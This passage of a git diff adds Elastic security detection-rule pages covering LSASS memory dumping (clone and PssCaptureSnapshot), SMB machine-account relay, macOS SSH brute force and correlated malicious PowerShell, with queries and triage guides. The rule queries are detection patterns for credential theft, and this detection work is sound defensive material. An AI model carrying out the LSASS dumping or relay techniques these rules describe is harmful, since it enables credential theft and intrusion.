hosts, or privileged admin systems, scope which local, cached, service, or domain credentials may have been exposed, then reset or rotate affected credentials before removing collected artifacts. +- Before eradication, review related hosts and users for the same helper-process pattern, dump path, `winlog.logon.type`, or `source.ip` indicators. Then remove dump files, archives, helper tools, and persistence, and remediate the access or privilege path that enabled clone creation. +- Post-incident hardening: restrict memory-acquisition and dump tooling to recognized admin cohorts, retain supplemental file telemetry where its absence limited the case, and document the confirmed workflow or malicious pattern for future triage. + + +==== Setup + + + +*Setup* + + +Audit Process Creation and Command Line must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-process-creation + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.code:"4688" and + process.executable : "?:\\Windows\\System32\\lsass.exe" and + process.parent.executable : "?:\\Windows\\System32\\lsass.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsass-memory-dump-via-psscapturesnapshot.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsass-memory-dump-via-psscapturesnapshot.asciidoc new file mode 100644 index 0000000000..1b87df0974 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsass-memory-dump-via-psscapturesnapshot.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-potential-lsass-memory-dump-via-psscapturesnapshot]] +=== Potential LSASS Memory Dump via PssCaptureSnapShot + +Identifies suspicious access to an LSASS handle via PssCaptureSnapShot where two successive process accesses are performed by the same process and target two different instances of LSASS. This may indicate an attempt to evade detection and dump LSASS memory for credential access. + +*Rule type*: threshold + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/ +* https://twitter.com/sbousseaden/status/1280619931516747777?lang=en + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Threshold +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential LSASS Memory Dump via PssCaptureSnapShot* + + + +*Possible investigation steps* + + +- What do the threshold summary and recovered members prove about the LSASS access pattern? + - Why: grouped threshold alerts require member recovery before the count proves a snapshot or repeated-access pattern. + - Focus: `process.entity_id`, `kibana.alert.threshold_result.count`, and Sysmon Event 10 members for `winlog.event_data.TargetProcessId`, `winlog.event_data.GrantedAccess`, and `winlog.event_data.CallTrace`. !{investigate{"description":"","label":"Sysmon process access events for the grouped process entity","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"10","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetImage","queryType":"phrase","value":"C:\\Windows\\system32\\lsass.exe","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"10","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetImage","queryType":"phrase","value":"c:\\Windows\\system32\\lsass.exe","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"10","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetImage","queryType":"phrase","value":"C:\\Windows\\System32\\lsass.exe","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when one process entity touched two distinct LSASS target PIDs and access or call-trace evidence fits snapshot or dump collection; lower concern only when members form one recognized debugger, EDR, or IR memory-acquisition pattern. If members cannot be recovered, the grouped alert stays unresolved, not benign. + +- Which caller and stack evidence identify the snapshot or dump path? + - Focus: caller path, access mask, and call trace from recovered members on the same `host.id`. + - Implication: escalate when the caller is user-writable, renamed, unrelated to endpoint security, or the stack shows PssCaptureSnapshot, PssNtCaptureSnapshot, dbghelp, or MiniDumpWriteDump-style dumping; lower concern when caller, access mask, and stack match a recognized EDR, debugger, or forensic collector. + +- Does the user-host context fit deliberate LSASS memory acquisition? + - Focus: `host.id`, `user.id`, `user.name`, and recovered caller. + - Implication: escalate when activity runs under a normal user, service account, workstation, domain controller, or jump host with no matching IR or security-collection purpose; lower concern only when the same host, user, and caller map to one recognized memory-acquisition workflow. + +- If Windows Security logs are available, did authentication or source evidence show credential use after the LSASS access? + - Why: PssCaptureSnapshot-based LSASS access commonly precedes credential dumping, so post-access identity use changes urgency. + - Focus: `host.id` and `user.id`; if Windows Security logs exist for this host/window, recover authentication records before interpretation and use `source.*` only from those records, especially `event.code`, `winlog.event_data.TargetLogonId`, and `source.ip`. + - Implication: escalate when the same user or host shows new 4624 logons, 4648 explicit-credential use, rare `source.ip`, or remote access after LSASS events; use `winlog.event_data.TargetLogonId` to group logon records, not claim process-session continuity. Missing authentication telemetry is unresolved, not benign. + +- If local evidence remains suspicious or unresolved, do related alerts change scope? + - Focus: credential-access, archive, lateral-movement, or clone-related alerts for the same `process.entity_id`, `user.id`, or `host.id`. !{investigate{"description":"","label":"Alerts associated with the grouped process entity","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same process entity also shows dumping, archive staging, suspicious authentication, lateral movement, or clone-related alerts; keep scope local when related alerts are absent, but do not use alert absence to clear recovered LSASS access evidence. + +- Escalate when member pattern, caller or stack evidence, user-host context, authentication/source evidence, or related-alert scope supports unauthorized LSASS access or credential use; close only when member events and host/user context bind the alert to one recognized debugger, EDR, forensic, IR, or lab workflow with no contradictory evidence; preserve evidence and escalate when recovery is incomplete or findings conflict. + + +*False positive analysis* + + +- Authorized debugger, EDR, forensic, IR memory-acquisition, or lab validation tooling can trigger this rule. Confirm from telemetry first: member-event pattern, caller or stack, `host.id`, and `user.id` must converge on the same workflow. Use case records or tool inventory only to corroborate that telemetry-bound workflow. If members are unavailable or any anchor contradicts it, do not close as benign. +- Before creating an exception, validate that the same stable caller, recovered target-PID/access/call-trace pattern, `host.id`, and `user.id` recur across prior alerts from this rule. Build the exception from that minimum confirmed workflow pattern. Avoid exceptions on `process.entity_id`, `kibana.alert.threshold_result.count`, or LSASS targeting alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the alert summary, grouped `process.entity_id`, recovered member-event pattern, caller or stack evidence, `host.id`, `user.id`, and the corroborating case, tool, or lab record. Create an exception only for the recurring workflow pattern. +- If suspicious but unconfirmed, preserve the alert, Timeline member records, target-PID/access/call-trace evidence, recovered caller, `process.entity_id`, `host.id`, `user.id`, and any recovered authentication or source records before containment. +- If suspicious but unconfirmed, apply reversible containment first, such as heightened monitoring or temporary network isolation for the affected `host.id`; weigh host criticality before isolating domain controllers, jump hosts, or production servers. +- If confirmed malicious, isolate the affected host when recovered member events and caller or stack evidence confirm unauthorized LSASS access. Disable or reset accounts only when recovered authentication or source evidence indicates credential use or likely exposure. +- If confirmed malicious, collect the suspicious binary, dump outputs, scripts, archives, and memory-acquisition tooling identified during investigation before terminating processes or deleting files. +- If confirmed malicious, block confirmed remote sources or transfer paths identified during investigation, then eradicate the collected dump tooling and remediate the execution or privilege path that enabled LSASS access. +- Post-incident hardening: restrict LSASS snapshot and dump tooling to controlled security workflows, enable LSASS protection controls where compatible, retain Sysmon Event 10 and Windows Security logs, and document PssCaptureSnapshot or clone-based variants surfaced during triage. + + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-10-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and event.code:10 and + winlog.event_data.TargetImage:("C:\\Windows\\system32\\lsass.exe" or + "c:\\Windows\\system32\\lsass.exe" or + "c:\\Windows\\System32\\lsass.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-machine-account-relay-attack-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-machine-account-relay-attack-via-smb.asciidoc new file mode 100644 index 0000000000..b133c6da90 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-machine-account-relay-attack-via-smb.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-potential-machine-account-relay-attack-via-smb]] +=== Potential Machine Account Relay Attack via SMB + +Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate an SMB relay attack. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/p0dalirius/windows-coerced-authentication-methods +* https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ +* https://attack.mitre.org/techniques/T1187/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Machine Account Relay Attack via SMB* + + + +*Possible investigation steps* + + +- What does the alert-local 5145 event show about the remote source, target server, machine account, and exact share or pipe path? + - Focus: `source.ip`, `winlog.computer_name`, `user.name`, `winlog.event_data.ShareName`, and `winlog.event_data.RelativeTargetName`, noting "IPC$", "ADMIN$", and coercion-related named pipes in the relative target path. + - Implication: escalate when a remote source reaches relayable pipes or admin shares while `user.name` matches the target server machine account; lower suspicion only when the same source, target, and path are already tied to a known relay-safe infrastructure tier. + +- Does the apparent machine-account access really resolve to one target-server identity and one stable infrastructure path? + - Focus: `user.name`, `winlog.computer_name`, `host.name`, `host.ip`, and `source.ip`. + - Implication: relay remains likely when the target server account appears from a `source.ip` that is not one of the target server's `host.ip` values; if hostname aliases or clustering explain the address mismatch, keep validating the share path and auth evidence before closure. + +- Do surrounding authentication events show the same source creating machine-account network logons or NTLM fallback on the target? + - Why: 5145 proves share access; 4624 and 4625 show whether the source authenticated with the target machine account and which protocol path was used, while 4648 only adds explicit-credential context. + - Focus: Windows Security events on the target server from the alert source: `winlog.event_data.TargetUserName`, `winlog.logon.type`, `winlog.event_data.AuthenticationPackageName`, and `winlog.event_data.LmPackageName`. + - Hint: pivot on 4624 and 4625 for the alert `source.ip`, target server, and `user.name` to `winlog.event_data.TargetUserName` match; use 4648 only for explicit-credential context. Missing authentication telemetry is unresolved, not benign. !{investigate{"description":"","label":"Authentication events from this source to the target machine account","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetUserName","queryType":"phrase","value":"{{user.name}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetUserName","queryType":"phrase","value":"{{user.name}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same source produces machine-account type 3 logons, failures followed by success, NTLM where Kerberos is expected, or weak LM details; lower suspicion only when auth fields match the same stable infrastructure path seen in the 5145 evidence. + +- Do surrounding 5145 events show the source revisiting relayable pipes, alternate shares, or more servers with the same machine-account pattern? + - Focus: 5145 events for the same `source.ip` and `user.name`, comparing `winlog.event_data.ShareName`, `winlog.event_data.RelativeTargetName`, and `winlog.event_data.AccessMask` across target servers. + - Hint: start with 5145 events for the same `source.ip` and `user.name` in the alert window, then expand only if the first events show relayable pipe access, admin-share access, or repeated machine-account use. !{investigate{"description":"","label":"Detailed file-share events from this source and machine account","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5145","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"user.name","queryType":"phrase","value":"{{user.name}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: broader pipe, admin-share, or multi-server coverage supports active relay; a bounded single-path pattern lowers urgency only when it stays inside the same recognized infrastructure cohort. + +- If local evidence stays suspicious or unresolved, do related alerts expand the source or target scope? + - Focus: related alerts for `source.ip` covering coercion, relay, lateral movement, remote execution, or credential access from the same origin. !{investigate{"description":"","label":"Alerts associated with this source IP","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare target-server alerts for suspicious authentication, service creation, persistence, or credential access on `host.id`. !{investigate{"description":"","label":"Alerts associated with this target server","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when the same source targets other servers or the target shows follow-on execution or persistence; keep scope local only when related alerts stay confined to the same recognized infrastructure cohort. + +- Based on the evidence gathered, what disposition is supported? + - Focus: 5145 share or pipe path, machine-account and target fit, source role, surrounding auth, repeated 5145 scope, and related-alert scope. + - Implication: escalate when relayable access aligns with the target machine account plus NTLM/auth corroboration, repeated 5145 activity, or related alerts; close only when all evidence tightly binds one stable infrastructure workflow with no contradictory auth or scope; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Load balancers, cluster nodes, proxies, management gateways, backup, or orchestration tooling can make a machine account appear to access a share from a different source. Confirm only when the source-target-account tuple, share or pipe path, access mask, and auth method all align with the same stable infrastructure role, with no broader relayable paths or extra machine-account auth. Use topology records only to corroborate that exact telemetry pattern; if unavailable, require the same field pattern across prior alerts. +- Build exceptions from the minimum confirmed workflow: `source.ip`, `winlog.computer_name`, `user.name`, `winlog.event_data.ShareName`, and `winlog.event_data.RelativeTargetName`, plus the stable auth pattern when available. Avoid exceptions on `user.name`, `winlog.event_data.ShareName`, or `source.ip` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the recognized source, target server, machine account, share or pipe path, access mask, and auth pattern. Create an exception only after the same workflow recurs across prior alerts or is corroborated by topology records. +- If suspicious but unconfirmed, preserve the alert, surrounding 5145 and authentication records, case timeline, source and target identities, share or pipe path, access mask, and NTLM/auth details before containment. Apply reversible containment first, such as restricting SMB from the source to the target or tightening access to the exposed relay path; use host isolation only if the source continues suspicious machine-account access and the server role can tolerate interruption. +- If confirmed malicious, contain the source host or block the relay path using the preserved 5145/auth evidence. Record the evidence before terminating processes, blocking access, or rotating secrets. +- After scoping affected source and target systems, rotate the affected computer-account secret when evidence shows credential material was exposed, replayed, or relayed to privileged services; otherwise coordinate identity review before disruptive rotation. Review adjacent systems or delegated credentials exposed through the same relay path. +- Post-incident hardening: enforce SMB signing or Extended Protection, reduce NTLM exposure, restrict relayable services, and audit other servers contacted from the same `source.ip`. + + +==== Setup + + + +*Setup* + + +Audit Detailed File Share must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-detailed-file-share + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.code == "5145" and endswith(user.name, "$") and + + /* compare computername with user.name and make sure they match (dot-boundary prevents prefix-only matches) */ + startswith~(concat(winlog.computer_name, "."), concat(substring(user.name, 0, -1), ".")) and + + /* exclude local access */ + not endswith(string(source.ip), string(host.ip)) and + source.ip != "::" and source.ip != null and source.ip != "::1" and source.ip != "127.0.0.1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-macos-ssh-brute-force-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-macos-ssh-brute-force-detected.asciidoc new file mode 100644 index 0000000000..390ed75a1b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-macos-ssh-brute-force-detected.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-potential-macos-ssh-brute-force-detected]] +=== Potential macOS SSH Brute Force Detected + +Identifies a high number of inbound SSH login attempts on a macOS host within a short time window. On macOS, each inbound SSH authentication attempt spawns the sshd-keygen-wrapper process once, whether the login succeeds or fails. Adversaries may perform password brute force or password spraying against exposed SSH services to obtain unauthorized access. + +*Rule type*: threshold + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: Threshold +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential macOS SSH Brute Force Detected* + + +SSH (Secure Shell) is a protocol used to securely access remote systems. On macOS, each inbound SSH authentication attempt spawns +`sshd-keygen-wrapper` once before handing off to `sshd`, regardless of whether the login succeeds or fails. This rule uses that +1:1 relationship as a proxy for high inbound SSH login attempt volume on a host. It does not detect SSH key generation or +key-based brute force activity. + + +*Possible investigation steps* + + +- Review alert details for `host.os.type:macos`, `process.name:sshd-keygen-wrapper`, and `process.parent.name:launchd`. +- Examine the frequency and timing of `sshd-keygen-wrapper` process starts to determine if they suggest automated login attempts. +- Review SSH authentication logs on the affected host for failed and successful logins, source IP addresses, and targeted usernames. +- Determine whether Remote Login is expected to be enabled on this host (for example, build servers or developer workstations). +- Correlate the activity with other alerts or logs from the same host to identify additional indicators of compromise. +- Review user account activity on the host to determine if any accounts were accessed or modified unexpectedly. + + +*False positive analysis* + + +- Build servers, developer workstations, or CI/CD pipelines that receive many legitimate inbound SSH connections may trigger this rule. Exclude known hosts or maintenance windows if the activity is expected. +- Automated deployment or configuration management tools that open many SSH sessions in a short period can cause false positives. +- Internet-facing SSH services may receive high volumes of scanning or credential-stuffing traffic from unrelated sources. +- Security scanners or health checks that repeatedly test SSH connectivity may generate elevated `sshd-keygen-wrapper` activity. + + +*Response and remediation* + + +- Review SSH authentication logs to identify source IPs, targeted accounts, and whether any logins succeeded. +- If unauthorized access is suspected, isolate the affected macOS host from the network. +- Implement IP blocking or rate limiting on the SSH service to reduce further login attempts. +- Review and reset credentials for affected user accounts if compromise is confirmed. +- Conduct a thorough review of the host's SSH configuration and enabled Remote Login settings. +- Escalate to the security operations team if additional hosts show similar patterns. +- Enhance monitoring for SSH authentication anomalies across the environment. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:macos and event.type:start and process.name:"sshd-keygen-wrapper" and process.parent.name:launchd + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-malicious-powershell-based-on-alert-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-malicious-powershell-based-on-alert-correlation.asciidoc new file mode 100644 index 0000000000..ac77f0a176 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-malicious-powershell-based-on-alert-correlation.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-potential-malicious-powershell-based-on-alert-correlation]] +=== Potential Malicious PowerShell Based on Alert Correlation + +Identifies PowerShell script blocks linked to multiple distinct PowerShell detections via the same ScriptBlock ID, indicating compound suspicious behavior. Attackers often chain obfuscation, decoding, and execution within a single script block. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Malicious PowerShell Based on Alert Correlation* + + + +*Possible investigation steps* + + +- What does the ES|QL grouped alert preserve about the suspicious PowerShell mix? + - Focus: treat `Esql.script_block_id`, `Esql.kibana_alert_rule_name_values`, `Esql._id_values`, preserved `host.id` / `user.id`, and `Esql.kibana_alert_rule_name_count_distinct` as search clues, not evidence. + - Implication: escalate if rule names span obfuscation, download, execution, persistence, credential access, or defense evasion for one host/user; lower suspicion only when recovered source alerts/events show one recognized detection-validation script or controlled encoded-content automation pattern. + +- Do the contributing alerts bind the summary to one script execution? + - Focus: recover contributing alerts around grouped-alert time using preserved host/user, `Esql.kibana_alert_rule_name_values`, and script-block ID; use `Esql._id_values` only when alert search supports those IDs. + - Hint: recover contributing alerts before interpreting grouped behavior; ES|QL grouped alerts lack member-event Timeline pivots and reliable source-event time, PID, or entity anchors. + - Implication: treat as one execution chain only when source alerts and events align to one host, one user, one source-event window, and one script-block ID; keep unresolved if timestamps, script evidence, PID reuse risk, or entity scope conflict. + +- Can you reconstruct and interpret the source PowerShell script block? + - Focus: using recovered source-event host, process, and time, query PowerShell 4104 or source events; match `powershell.file.script_block_id`, order `powershell.sequence` / `powershell.total`, and read script-block text. + - Implication: escalate when reconstructed text shows encoded/decoded stages, download cradles, reflection, hosted System.Management.Automation execution, credential access, persistence, or defense evasion; missing fragments or source PowerShell telemetry are unresolved, not benign. + +- Which process and launch chain executed the script block? + - Focus: use recovered time, `host.id`, and process identifiers to find the process start; collect `process.entity_id`, `process.command_line`, `process.parent.command_line`, and `process.Ext.authentication_id`. + - Hint: if no process start appears, expand time first; if still missing, scope later file, registry, and network review to recovered source-event host/user/process/time. + - Implication: escalate when the launcher is a document, browser, remote-management tool, scheduled task, unexpected script or .NET host, or command line with encoded, hidden, bypass, download, or dynamic evaluation; lower suspicion only when the same parent, command, user, and host bind to the exact recovered benign workflow. + +- Did the process stage payloads, persistence, or security-impacting changes? + - Focus: scope file and registry events to recovered `process.entity_id` or fallback source-event host/PID/time context; review `file.path`, `file.origin_url`, `registry.path`, `registry.value`, and `registry.data.strings`. + - Implication: escalate when the script writes executable or scriptable content to user-writable or startup paths, leaves internet provenance, modifies persistence or security keys, or later executes staged content; lower suspicion only when artifacts stay inside the exact recovered benign workflow. Missing file or registry telemetry does not clear the alert. + +- Did network or session evidence fit offensive PowerShell use? + - Focus: scope DNS/connections to recovered `process.entity_id` or source-event host/PID/time context; read `dns.question.name`, `destination.ip`, and `destination.port`; when origin matters, bridge `process.Ext.authentication_id` to `winlog.event_data.TargetLogonId`. + - Implication: escalate when the script reaches rare or public destinations, pulls content, contacts infrastructure unrelated to the recovered workflow, or runs from an unexpected remote session; missing network or Windows Security telemetry is unresolved, not benign. + +- If local evidence is suspicious or unresolved, does the same pattern recur elsewhere enough to change scope? + - Focus: related alerts for preserved `user.id` over 48 hours, looking for the same `Esql.kibana_alert_rule_name_values`, reconstructed script fragment, launch context, or extracted indicators. !{investigate{"description":"","label":"Alerts associated with the 